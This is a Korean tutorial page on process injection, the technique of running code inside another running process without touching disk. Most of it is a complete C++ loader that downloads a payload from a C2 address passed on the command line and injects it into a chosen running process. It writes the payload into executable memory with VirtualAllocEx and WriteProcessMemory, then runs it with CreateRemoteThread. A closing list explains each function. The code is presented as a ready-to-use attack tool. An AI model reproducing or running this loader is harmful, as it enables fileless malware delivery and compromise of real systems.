Process Injection

프로세스 인젝션은 실행 중인 정상 프로세스의 가상 메모리 공간에 악성코드를 삽입하여 실행하는 기법으로, 디스크에 악성코드를 남기지 않는 파일리스 공격입니다.

전체적인 흐름은 [C2 서버] ---(네트워크)---> [메모리] ---> [타겟 프로세스] 와 같이 흘러갑니다.

다음은 대상 시스템에서 실행 중인 프로세스 목록 중에서 타겟으로 삼을 프로세스와, 페이로드를 다운로드 할 C2 주소를 인자로 받는 프로세스 인젝션 코드입니다.

#include <iostream>
#include <windows.h>
#include <tlhelp32.h>
#include <cstring>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
using namespace std;

// 실행중인 프로세스 정보를 가져오기 위한 스냅샷 함수
DWORD getProcId(const wchar_t* processName) {
    // 메모리에 로드된 프로세스 스냅샷 생성
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        wcout << L"Failed to take a snapshot" << endl;
        return 0;
    }

    // 스냅샷을 순회하며 저장할 프로세스 변수 생성
    PROCESSENTRY32W pe;
    pe.dwSize = sizeof(PROCESSENTRY32W);

    if (Process32FirstW(hSnapshot, &pe)) {
        do {
            // 대소문자 구분 없이 비교하여 일치할 경우 조건분기
            if (_wcsicmp(pe.szExeFile, processName) == 0) {
                wcout << L"Succeed to find a process : " << pe.szExeFile << endl;
                CloseHandle(hSnapshot);
                return pe.th32ProcessID;
            }
        } while (Process32NextW(hSnapshot, &pe));
    }

    CloseHandle(hSnapshot);
    wcout << L"Failed to find a process in memory" << endl;
    return 0;
}

// 프로세스 ID를 가져오기 위한 함수
HANDLE openProcessByPid(DWORD processId) {
    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
    if (!hProc) {
        wcout << L"Failed to get Process handle" << endl;
    }
    return hProc;
}

// 실행중인 프로세스에서 메모리 공간 확보
LPVOID allocRemoteMemory(HANDLE hProc, SIZE_T dataSize) {
    LPVOID exec = VirtualAllocEx(
        hProc, NULL, dataSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    if (!exec) {
        wcout << L"Failed to get Memory buffer" << endl;
    }
    return exec;
}

// 악성코드를 다운로드 하기 위한 함수
unsigned char* downloadBinary(const wchar_t* serverAddr, DWORD* outSize) {
    // nullptr 예외처리
    if (!outSize) {
        wcout << L"outSize is null" << endl;
        return nullptr;
    }
    *outSize = 0;

    // 브라우저 핸들 생성
    HINTERNET hInternet = InternetOpen(
        L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0
    );
    // 브라우저 핸들 생성 실패 예외처리
    if (!hInternet) {
        wcout << L"Failed to get Internet handle" << endl;
        return nullptr;
    }

    // 브라우저 url 접속 핸들 생성
    HINTERNET hUrl = InternetOpenUrl(
        hInternet, serverAddr, NULL, 0,
        INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, 0
    );
    // 브라우저 url 접속 핸들 생성 실패 예외처리
    if (!hUrl) {
        wcout << L"Failed to get InternetOpenUrl handle" << endl;
        InternetCloseHandle(hInternet);
        return nullptr;
    }

    // 다운로드 받을 버퍼, 읽은 바이트 변수 지정
    DWORD bytesRead = 0;
    BYTE buffer[4096];
    string fullData;
    // 읽을 수 있는 바이트가 0일 때까지 읽어서 fullData에 저장
    while (InternetReadFile(hUrl, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
        fullData.append((char*)buffer, bytesRead);
    }

    // 브라우저 핸들 종료
    InternetCloseHandle(hUrl);
    InternetCloseHandle(hInternet);

    // 읽은 데이터가 빈값일 경우 예외 처리
    if (fullData.empty()) {
        return nullptr;
    }

    // 형변환을 위해 변수 이동
    unsigned char* result = new unsigned char[fullData.size()];
    memcpy(result, fullData.data(), fullData.size());
    *outSize = fullData.size();
    return result;
}

// 대상 프로세스 메모리 공간에 악성코드 삽입
BOOL writeRemoteMemory(HANDLE hProc, LPVOID dest, void* data, SIZE_T size) {
    // 쓴 데이터 크기 초기화
    SIZE_T written = 0;
    if (!WriteProcessMemory(hProc, dest, data, size, &written)) {
        wcout << L"Failed to write memory" << endl;
        return FALSE;
    }
    wcout << L"Written " << written << L" bytes" << endl;
    return TRUE;
}

// 대상 프로세스 메모리에 로드된 악성코드 실행 함수
BOOL createRemoteThread(HANDLE hProc, LPVOID startAddr, LPVOID param) {
    DWORD threadId = 0;

    // 원격 스레드 생성
    HANDLE hThread = CreateRemoteThread(
        hProc, NULL, 0,
        (LPTHREAD_START_ROUTINE)startAddr, param,
        0, &threadId
    );

    if (hThread == NULL) {
        wcout << L"Failed to create remote thread: " << GetLastError() << endl;
        return FALSE;
    }

    // 쓰레드 실행 완료 대기
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);

    return TRUE;
}

int wmain(int argc, wchar_t* argv[]) {
    if (argc != 3) {
        cout << "<process name> <c2 address>" << endl;
        return 0;
    }

    // 인자로 받은 프로세스를 대상 시스템에서 탐색
    DWORD targetPid = getProcId(argv[1]);
    if (!targetPid) return 0;

    // 타겟 프로세스의 pid를 통해 프로세스 핸들 획득
    HANDLE hProc = openProcessByPid(targetPid);
    if (!hProc) return 0;

    // 페이로드 다운로드
    DWORD outSize = 0;
    unsigned char* payload = downloadBinary(argv[2], &outSize);
    if (payload == nullptr) return 0;

    // 타겟 프로세스의 메모리 공간 확보
    SIZE_T dataSize = outSize;
    LPVOID pVirtualMemory = allocRemoteMemory(hProc, dataSize);
    if (!pVirtualMemory) return 0;

    // 메모리 공간에 페이로드 삽입
    if (!writeRemoteMemory(hProc, pVirtualMemory, payload, dataSize)) return 0;

    // 악성코드를 실행할 원격 쓰레드 생성
    createRemoteThread(hProc, pVirtualMemory, NULL);
    return 0;
}

코드에서는 함수를 통해 Windows API를 호출하며 각각 역할은 다음과 같습니다.

  1. getProcId : 대상 시스템에서 실행 중인 모든 프로세스를 스냅샷으로 저장

  2. openProcessByPid : 인자로 지정한 프로세스가 스냅샷 목록에서 있는지 확인 후 핸들 반환

  3. downloadBinary : C2에서 페이로드 다운로드

  4. allocRemoteMemory : 인자로 지정한 프로세스 내부에 가상 메모리 공간 할당

  5. writeRemoteMemory : 가상 메모리 공간에 다운로드 한 페이로드 삽입

  6. createRemoteThread : 가상 메모리 공간 속 페이로드를 실행할 원격 쓰레드 생성

Last updated